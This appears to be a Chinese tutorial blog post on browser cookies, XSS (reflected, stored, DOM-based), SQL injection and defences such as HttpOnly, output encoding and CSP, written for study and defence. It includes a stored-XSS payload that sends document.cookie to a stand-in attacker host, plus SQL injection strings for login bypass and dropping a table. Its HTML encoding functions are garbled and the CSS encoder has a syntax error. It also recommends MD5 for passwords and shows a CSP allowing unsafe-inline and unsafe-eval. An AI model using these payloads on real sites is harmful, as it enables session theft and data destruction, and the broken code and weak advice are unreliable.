cookie是什么？

cookie是一些数据，存储在用户电脑上的文本文件中。

cookie以键值对的形式存储的。如

username=jodie

cookie是用来干什么的？

服务器可以通过cookie获取客户端用户信息

为什么需要通过cookie来获取？

在web服务端向浏览器端发送web页面时，在连接关闭时，服务器端不会记录用户信息。那么下次访问时，服务器如何获取用户端的信息呢，这就需要用到cookie。

服务器端是如何通过cookie获取用户信息的？

1.当用户访问web页面时，用户信息可以记录在cookie中。

2.当用户下一次访问该页面时，属于该页面的cookie会被添加到请求中。服务端通过这中方式来获取用户信息。

javascript如何操作cookie

1.创建

document.cookie=‘username=jodie’;

2.设置过期时间

const expires = new Date()

expires.setTime(expires.getTime()+1*24*60*60*1000);// 过期时间1天后

document.cookie = `username=jodie;expires=${expires.toGMTString()}`

过期时间如果不设置，默认关闭浏览器的时候cookie删除

3.设置path,告诉浏览器cookie的路径

document.cookie = `username=jodie;path=/`; // path=/ 为当前网站根目录

如果不设置path，默认cookie属于当前页面

path应当以/结尾

同名的cookie不同的path属于不同的cookie，如：

‘id=1;path=/path/’;

‘id=2;path=/path’;

‘id=3;path=path/’;

以上代码，前两句是相对应站点跟目录的网页目录，第三句是相对于当前目录的路径。

path之间有大小写区分,下边的两个cookie不同，

‘id=1;path=/path/’;

‘id=2;path=/Path/’;

path不可读，只可写，不可更改

如果我们试图更改path实际上我们是另外写了一个cookie而不是更改了path的值

path的权限有继承性

例如指定了/test/，那么/test/及其之下的目录也都有权限读取该cookie

4.读取cookie

var x = document.cookie

5.删除cookie

只要设置expires的值为以前的时间即可，如

const expires = new Date()

expires.setTime(expires.getTime()-1*24*60*60*1000);// 前一天

document.cookie = `username=;expires=${expires.toGMTString()}`

删除时候cookie的值可以不设置

关联问题

为什么设置cookie使用格林威治时间

https://blog.csdn.net/an_gentle_killer/article/details/118071593

XSS是什么?

XSS（cross site scripting 跨站脚本攻击）。XSS的重点不在与跨站点，而在于脚本执行。其原理是：恶意攻击者在web页面中插入一些恶意的script代码。当用户浏览该页面时候，嵌入的script代码会被执行，因此达到恶意攻击用户的目的。

XSS分类：

反射型、存储型、DOM-based型。

其中反射型和DOM-based型为非持久性攻击，存储型为持久性攻击。

反射型是什么

比如：攻击者通过电子邮件等方式将包含注入脚本的恶意链接发送给受害者，当受害者点击该链接的时候，注入脚本被传输到目标服务器上，然后服务器将注入脚本“反射”到受害者浏览器上，从而浏览器就执行了该脚本。

其攻击步骤如下：

1.攻击者在url后边的参数中计入恶意攻击代码。

2.当用户打开带有恶意代码的url的时候，网站将恶意代码从url中取出，并拼接在html中返回给浏览器。

3.用户浏览器接收到响应后执行解析，其中的恶意代码也会被执行到。

4.攻击者通过恶意代码来窃取到用户数据并发送到攻击者的网站。攻击者会获取到比如cookie等信息，然后使用该信息来冒充合法用户的行为，调用目标网站接口执行攻击等操作。

存储型XSS是什么

比如一个博客网站，攻击者在上边发布了一片文章，内容为<script>window.open(“www.gongji.com?param”=document.cookie)</script>window.open(“www.gongji.com?param”=document.cookie)。

如果我们不对文章进行任何处理直接存入数据库中，那么下一次当其他用户访问该文章的时候，服务器会从数据库中读取然后响应给客户端，那么浏览器就会执行这段脚本，然后攻击者就会获得用户的cookie，然后把cookie发送到攻击者的服务器上了。

因此存储型的xss的攻击步骤如下：

1.攻击者将恶意代码提交到目标网站数据库中。

2.用户打开目标网站时，网站服务器将恶意代码从数据库中取出，然后拼接到html中返回给浏览器总。

3.用户浏览器接收到响应后解析执行，那么其中的恶意代码也会被执行。

4.恶意代码执行后，就能获取到用户数据，比如上边的cookie等信息，那么攻击者拿着该cookie会冒充用户，调用目标网站的接口等违法操作。

如何防范？

前/后端对特殊字符进行过滤或者替换成HTML编码

DOM-BASED型XSS是什么

比如客户端从url中提取到数据并且在本地执行，此时如果url中存在恶意的js脚本，我们的应用程序就可能收到DOM-based XSS攻击。因此DOM型xss攻击步骤如下

1. 攻击者构造出特殊的URL、在其中可能包含恶意代码。

2. 用户打开带有恶意代码的URL。

3. 用户浏览器收到响应后解析执行。前端使用js取出url中的恶意代码并执行。

4. 执行时，恶意代码窃取用户数据并发送到攻击者的网站中，那么攻击者网站拿到这些数据去冒充用户的行为操作。调用目标网站接口执行攻击者一些操作。

SQL注入是什么

比如有一个登录框，需要输入用户名和密码后，但是我们输入的密码是这样的’or ’123’ = ‘123。我们在查询用户名和密码是否正确的时候，本来的执行sql语句是：

select * from user where username= ‘ ‘ and password = ‘ ‘. 这样的sql语句，现在我们将输入密码’or ’123’ = ‘123，此时sql语句就变成了select * from user where username= ‘ ‘ and password = ‘ ’or ’123’ = ‘123‘;会有一个or语句，只要这两个有一个是正确的话条件就成立，因为123=123是成立的。因此验证就会被跳过。这只是一个简单的例子，比如密码还可以这样：’;drop table user;.这样的话sql命令就变成了select * from user where username= ‘ ‘ and password =‘’;drop table user；那么我们会把user表直接删除了。

SQL被攻击的原因是：SQL语句伪造参数，然后对参数进行拼接后形成XSS的SQL攻击语句。最后导致数据库被攻击了。

防范方法

1.使用预编译语句（PreparedStatement,这样的话即使我们使用SQL语句伪造成参数，到服务端，这个伪造SQL语句的参数也只是个简单的字符）

2.数据库中的密码不应明文存储，可以对密码进行md5加密。

要如何来防范XSS攻击

1.cookie安全策略

在服务器端设置cookie的时候设置http-only,这样就可以防止用户通过js获取cookie。

对cookie的读写或发送一般有如下字段进行设置：

http-only：只允许http或https请求读取cookie，js代码无法读取cookie（js调用document.cookie获取的结果会过滤掉设置了http-only的值）。但是发送请求时却会发送。

secure-only：只允许https请求读取，发送请求时自动带上cookie

host-only:只允许主机域名与domain设置完全一致的网站才能访问cookie

2.X-XSS-Protection设置

目前该属性被所有主流浏览器默认开启XSS保护。该参数时设置在响应头中用来防范xss攻击的。它有如下几种配置：

0:禁用xss保护

1:启用xss保护

1;mode=block;启用xss保护，并且在检查xss攻击时，停止渲染页面

3.XSS防御HTML编码

对HTML字符串转码，将不可信的数据进行HTML编码

编码规则：将&<>”’/转译为尸体字符，以下为转译代码

// 使用正则表达式实现html编码

    function htmlEncodeByRegExp(str) {

      var s = '';

      if (str.length === 0) {

        return s;

      }

      return (s + str)

        .replace(/&/g, "&")

        .replace(/

        .replace(/>/g, ">")

        .replace(/ /g, " ")

        .replace(/\'/g, "'")

        .replace(/\"/g, """)

        .replace(/\//g, '/');

    }

    // 使用正则表达式实现html解码

    function htmlDecodeByRegExp(str) {

      var s = '';

      if (str.length === 0) {

        return s;

      }

      return (s + str)

        .replace(/&/g, "&")

        .replace(/

        .replace(/>/g, ">")

        .replace(/ /g, " ")

        .replace(/'/g, "\'")

        .replace(/"/g, "\"")

        .replace(///g, "\/");

    }

4. XSS防御HTML Attribute编码

和HTML编码一样，html中的属性也要进行编码；如name=‘name’,如果那么被这只为” ” onclick=“alert(‘xss’)” 这样input就变成了 <input name=” ” onclick=“alert(‘xss’)”  …/>，input属性的那么被插入onclick事件了，因此我们需要将不可信数据放入html属性时，需要进行html Attribute编码。

编码规则：将特殊字符（除了字符、数字以外），使用&#x;字符转为charCode再转为16进制格式来转译ASCII值小于256的所有字符

function encodeForHTMLAttibute(str) {

      let encoded = '';

      for(let i = 0; i < str.length; i++) {

        let ch = hex = str[i];

        if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {

          hex = '&#x' + ch.charCodeAt(0).toString(16) + ';';

        }

        encoded += hex;

      }

      return encoded;

   };

5.XSS防御之javascript编码

将特殊字符编码成\x+16进制的形式

function encodeForJavascript(str) {

  let encoded = '';

  for(let i = 0; i < str.length; i++) {

    let cc = hex = str[i];

    if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {

      hex = '\\x' + cc.charCodeAt().toString(16);

    }

    encoded += hex;

  }

  return encoded;

};

6.XSS防御之URL编码

编码规则：将参数进行encodeURIComponent编码

7.XSS防御之CSS编码

除了字母数字以外，使用\XXXXXX格式转译ASCII值小于256的所有字符

function encodeForCSS (attr, str){

  let encoded = '';

  for (let i = 0; i < str.length; i++) {

    let ch = str.charAt(i);

    if (!ch.match(/[a-zA-Z0-9]/) {

      let hex = str.charCodeAt(i).toString(16);

      let pad = '000000'.substr((hex.length));

      encoded += '\\' + pad + hex;

    } else {

      encoded += ch;

    }

  }

  return encoded;

};

8.开启CSP网页安全政策防止XSS攻击

Content-Security-Policy 中文的意思是 网页安全政策，

CSP是网页安全政策(Content Security Policy)的缩写。主要用来防止XSS攻击。是一种由开发者定义的安全性政策申明，通过CSP所约束的责任指定可信的内容来源，通过 Content-Security-Policy 网页的开发者可以控制整个页面中 外部资源 的加载和执行。

比如可以控制哪些 域名下的静态资源可以被页面加载，哪些不能被加载。这样就可以很大程度的防范了 来自 跨站(域名不同) 的脚本攻击。

如何使用呢？

我们只需要在meta属性中设置下即可：如下代码：

<meta http-equiv="Content-Security-Policy" content="">

比如如下的列子：

<meta http-equiv="Content-Security-Policy" content="

default-src http: https:  *.xxx.com 'self' 'unsafe-inline' ;

style-src 'self' 'unsafe-inline' *.yyy.com;

script-src 'self' 'unsafe-inline' 'unsafe-eval' ;

">

默认设置（default-src）：信任 http ,https协议资源，信任当前域名资源，信任符合*.xxx.com的域名资源;

CSS设置（style-src）：信任当前域名资源，允许内嵌的CSS资源，信任来自*.yyy.com下的CSS资源;

JS设置（script-src）：信任当前域名资源，允许内嵌的JS执行，允许将字符串当作代码执行;

有如下类别

default-src 给下面所有的规则设定一个默认值

script-src 外部脚本

style-src 样式表

img-src 图像

media-src 媒体文件（音频和视频）

font-src 字体文件

object-src 插件（比如 Flash）

child-src 框架

frame-ancestors 嵌入的外部资源（比如、<iframe>、和）

connect-src HTTP 连接（通过 XHR、WebSockets、EventSource等）

worker-src worker脚本

manifest-src manifest 文件

script-src有如下属性值：

unsafe-inline 允许执行页面内嵌的<script>标签和事件监听函数

unsafe-eval

允许将字符串当作代码执行，比如使用eval、setTimeout、setInterval和Function等函数

nonce

每次HTTP回应给出一个授权token，页面内嵌脚本必须有这个token，才会执行

hash

列出允许执行的脚本代码的Hash值，页面内嵌脚本的哈希值只有吻合的情况下，才能执行